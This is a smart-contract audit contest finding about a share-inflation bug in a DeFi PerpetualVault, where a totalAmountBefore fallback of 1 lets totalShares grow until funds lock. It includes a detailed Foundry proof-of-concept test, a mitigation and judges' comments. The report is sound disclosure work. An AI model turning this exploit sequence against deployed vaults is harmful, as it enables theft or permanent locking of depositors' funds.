DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Valid

[H-1] `TotalShares` variable can be inflated to a very high amount locking all the funds permanently

Description

The PerpetualVault::_mint function has the following piece of code

uint256 _shares;
if (totalShares == 0) {
_shares = depositInfo[depositId].amount * 1e8;
} else {
uint256 totalAmountBefore;
if (positionIsClosed == false && _isLongOneLeverage(beenLong)) {
//A:
totalAmountBefore = IERC20(indexToken).balanceOf(address(this)) - amount;
} else {
//B:
totalAmountBefore = _totalAmount(prices) - amount;
}
if (totalAmountBefore == 0) {
totalAmountBefore = 1;
}
_shares = amount * totalShares / totalAmountBefore;
}
depositInfo[depositId].shares = _shares;
totalShares = totalShares + _shares;
.....
...
.

(Note the A and B conditions in the above snippet)

A can be reached only when the following conditions are met:

  1. positionIsClosed == false

  2. beenLong == true

  3. totalShares != 0

  4. leverage is 1x (1x Vault only for A)

  5. Index token balance of Vault is 0 (note that this and condition 3 are possible at the same time, will be shown in the poc )

B can be reached when the Vault is liquidated i.e it requires only steps 3,5 from above and collateral token balance of Vault should be 0 instead of Index and possible in any leverage.

Now, whenever this line is reached the totalShares value is inflated by an exponent of 1e8 or 1e18
and subsequent shares are minted based on the new exponent value

Letz say, If the totalShares value is 1e18 (if a user deposits 1e10 collateral initially) , now if A is reached with 1e18 amount (index token has 18 decimals) from this line _shares = amount * totalShares / totalAmountBefore we can say that it becomes 1e36 or if B is reached it becomes 1e24, Significantly inflating the totalShares value , now subsequent shares minted for all users will also be of this exponent. Now if these lines are reached multiple times i.e COMPOUNDING liquidation funds,
Setting Vault State Manually (4 of 5 conditions above can be reached easily by any user) etc . Then the totalShares Value can reach 1e77 which is type(uint256).max locking all the funds permanently as almost all major operations of the protocol are dependent on the totalShares Variable.

reference to a similar issue

Impact

If totalShares inflates to 1e77 it can lock all the funds permanently, many operations start to fail even before that as shares values are also inflated and are multiplied with token amounts i.e collateral amount (1e6 decimals) and Index amount (1e18 decimals)

There is also a very low probability case where if the owner or keeper is not careful when opening or closing positions or changing the vault's state manually then totalShares can be inflated with user funds still in the vault which typically allows the depositor to hijack the vault (they cannot withdraw as keeper won't pass that call, no other user can withdraw as total shares are inflated and their individual share values are not, Deposits will be locked by the keeper, leaving the vault in a hijacked state)

Proof of Concept

Poc Scenario for reaching "A":

  1. Alice Deposits in 1x vault (leverage is 1x)

  2. Keeper opens a Position and lock time passes

  3. Keeper Closes Position (beenLong is true)

  4. keeper Opens Position Again but "bob2" also sends a deposit at the same time (positionIsClosed is true) so keepers swap data does'nt include bob2's deposit (highly possible during high deposit times and keeper may include the missed deposits in another transaction) (positionIsClosed is false)

  5. Alice calls withdraw before the keeper can include bob2's deposit
    (index token balance is 0 , totalShares !=0 bob2's share still exists but not swapped to index token yet)

(at this point all the conditions are met and any deposit will inflate the totalshares value)
6. Alice calls deposit again Inflating the totalShares value permanently

In this scenario
a.If alice calls withdraw again she can steal bob2's funds
b.The process can be reached multiple times inflating the totalShare value to 1e72 (4 times increasing by 18 decimals each time) , at 1e60 some operations start failing , further deposits from 1e72 will easily inflate the value to 1e77 and the vault's funds will be locked permanently.
c. If the keeper opens or closes position without proper swaps or it the owner sets vault state improperly then the totalShares will be inflated with user funds in it and the user who last deposits will hijack the vault

Note: Paste the Test Below in PerpetualVault.t.sol, run it with -vv option to view the logs

  1. The Test below requires the PerpetualVaultTest::depositFixture testing helper function to include the following line , for withdrawal and consecutive deposit executions

vm.deal(user, executionFee * tx.gasprice);

and also add import {console} from "forge-std/console.sol"; in the test file

  1. In PerpetualVault::withdraw make the following change

- if (depositInfo[depositId].timestamp + lockTime >= block.timestamp) {
+ if (depositInfo[depositId].timestamp + lockTime > block.timestamp) {
revert Error.Locked();
}

we do this as we set lockTime to 0 before withdrawal to simulate locktimepassed and also to make a successful gmxExecute within the same block (ease of use instead of generating new oracle params )

function testSharesInflation() public {
address keeper = PerpetualVault(vault).keeper();
//Alice Deposits first
address alice = makeAddr("alice");
depositFixture(alice, 2e10);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory swapData = new bytes[](2);
bytes memory paraSwapData = mockData.getParaSwapData(vault);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[1] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 1e10, minOutputAmount));
// run function called by keeper to open position
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
assertEq(PerpetualVault(vault).isLock(), true);
// order executed
GmxOrderExecuted(true);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(PerpetualVault.NextActionSelector selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log("Log Begin :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log(
"Collateral Token begin :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault))
);
console.log("total shares_ Begin:", PerpetualVault(vault).totalShares());
// consider lock time passes before keeper closes position
// // Close Position
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
address indexToken = PerpetualVault(vault).indexToken();
uint256 indexTokenBalance = IERC20(indexToken).balanceOf(vault);
bytes[] memory newSwapData = new bytes[](1);
minOutputAmount = indexTokenBalance * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100;
newSwapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, indexTokenBalance, minOutputAmount));
// keepers call to close position
vm.prank(keeper);
PerpetualVault(vault).run(false, true, prices, newSwapData);
GmxOrderExecuted(true);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, new bytes[](0));
//
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), true);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log("Log End :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log("Collateral Token End :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault)));
console.log("total shares_ End:", PerpetualVault(vault).totalShares());
// front-run keeper call(we call it front run but this is by a non malicious user i.e an
// honest user but they call deposit at the same time as keepers next Open Position call
// but the users (bob2) transaction will reach the mempool before keepers call
// and the keepers swapdata doesnt consider bob2's deposit before opening the position
address bob2 = makeAddr("bob2");
depositFixture(bob2, 1e10);
// open Position again
prices = mockData.getMarketPrices();
swapData = new bytes[](2);
paraSwapData = mockData.getParaSwapData(vault);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
minOutputAmount = 9831010184 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
// when keeper generates this arg bob2 hansnt deposited yet but when keeper calls deposit
// bob2's transaction will reach first (like a front run scenario but non malicious)
swapData[1] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 9831010184, minOutputAmount));
// keeper calls run to open position
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
assertEq(PerpetualVault(vault).isLock(), true);
GmxOrderExecuted(true);
//
console.log("Log open again :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log(
"Collateral Token open again :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault))
);
console.log("total shares_ open again :", PerpetualVault(vault).totalShares());
// // // // withdraw (alice withdraws her deposit)
// changing lock time to 0 for testing purpose (simulationg locktime passed)
// actual lock time passes before keeper closes first position
// i.e alice is a depositor for a very long time
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setLockTime(0);
//
vm.startPrank(alice);
uint256[] memory depositIds = PerpetualVault(vault).getUserDeposits(alice);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
vm.deal(alice, executionFee * tx.gasprice);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, depositIds[0]);
(PerpetualVault.NextActionSelector selector1,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector1), 2);
assertEq(uint8(PerpetualVault(vault).flow()), 3);
vm.stopPrank();
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
indexToken = PerpetualVault(vault).indexToken();
indexTokenBalance = IERC20(indexToken).balanceOf(vault);
minOutputAmount = indexTokenBalance * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, indexTokenBalance, minOutputAmount));
// keeper calls withdraw's run
vm.prank(PerpetualVault(vault).keeper());
PerpetualVault(vault).runNextAction(prices, swapData);
(PerpetualVault.NextActionSelector selector_,) = PerpetualVault(vault).nextAction();
//gmx order
GmxOrderExecuted(true);
assertEq(uint8(selector_), 0);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log(
"Log after Withdraw Index :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault))
);
console.log(
"Log after Withdraw Collateral :",
IERC20(address(PerpetualVault(vault).collateralToken())).balanceOf(address(vault))
);
console.log("total shares_ after Withdraw:", PerpetualVault(vault).totalShares());
///
// Observe the console logs from before
// At this point all the conditions to Reach "A" in code are satisfied
// If any user Deposits now they will inflate `totalShares` Value
// //////
// Note:Some absolute values are used below as the test was hitting stack-too-deep errors at
// this point
// absolute values meaning keeper address is directly taken from contract and some min/max
//price values are directly user from the mock data etc
// // deposit fixture
//address bob = makeAddr("bob");
//depositFixture(bob, 1e10);
// or
depositFixture(alice, 1e10);
//
(PerpetualVault.NextActionSelector selector3,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector3), 1);
assertEq(uint8(PerpetualVault(vault).flow()), 1);
MarketPrices memory prices1 = mockData.getMarketPrices();
paraSwapData = mockData.getParaSwapData(vault);
bytes[] memory swapData1 = new bytes[](1);
address[] memory gmxPath1 = new address[](1);
gmxPath1[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount1 = 1e10 * uint256(1000009671490240875000000) / uint256(3386164003773116) * 95 / 100;
// minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100; // 5% slippage
swapData1[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath1, 1e10, minOutputAmount1));
// swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
assertEq((PerpetualVault(vault).beenLong() && PerpetualVault(vault).leverage() == 10_000), true);
// assertEq(
// IERC20(PerpetualVault(vault).indexToken()).balanceOf(address(vault)) * prices.indexTokenPrice.min >= 1e30,
// false
// );
assertEq(IERC20(PerpetualVault(vault).indexToken()).balanceOf(address(vault)) * 3386164003773116 >= 1e30, false);
vm.prank(PerpetualVault(vault).keeper());
PerpetualVault(vault).runNextAction(prices1, swapData1);
// assertEq(PerpetualVault(vault).isLock(), false);
GmxOrderExecuted(true);
// Notice these Final Logs to see the InflatedShareValues
console.log("checkpoint reached");
assertEq(PerpetualVault(vault).positionIsClosed(), false);
console.log("Log end :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log("total shares_ :", PerpetualVault(vault).totalShares());
}

Tools Used

Manual Review

Recommendations

The recommended Mitigation for this issue is to not set totalAmountBefore to 1 but set it with a proper decimal prescision i.e 1e6 in case B and 1e18 in case A this will ensure that the totalShares value is not Inflated

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_totalAmountBefore_is_1_incorrect_calculation

Likelihood: Extremely low, full liquidation several times, and the admin should unpause several times the vault. But since keeper is the real component to check during a liquidation, it's still valid. Impact: High, any new deposit once the above conditions are met, will inflates shares and DoS the vault.

Appeal created

sakshamseth5 Auditor
9 months ago
codexbugmenot Submitter
9 months ago
0xl33 Auditor
9 months ago
wellbyt3 Auditor
9 months ago
codexbugmenot Submitter
9 months ago
n0kto Lead Judge
8 months ago
n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_totalAmountBefore_is_1_incorrect_calculation

Likelihood: Extremely low, full liquidation several times, and the admin should unpause several times the vault. But since keeper is the real component to check during a liquidation, it's still valid. Impact: High, any new deposit once the above conditions are met, will inflates shares and DoS the vault.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!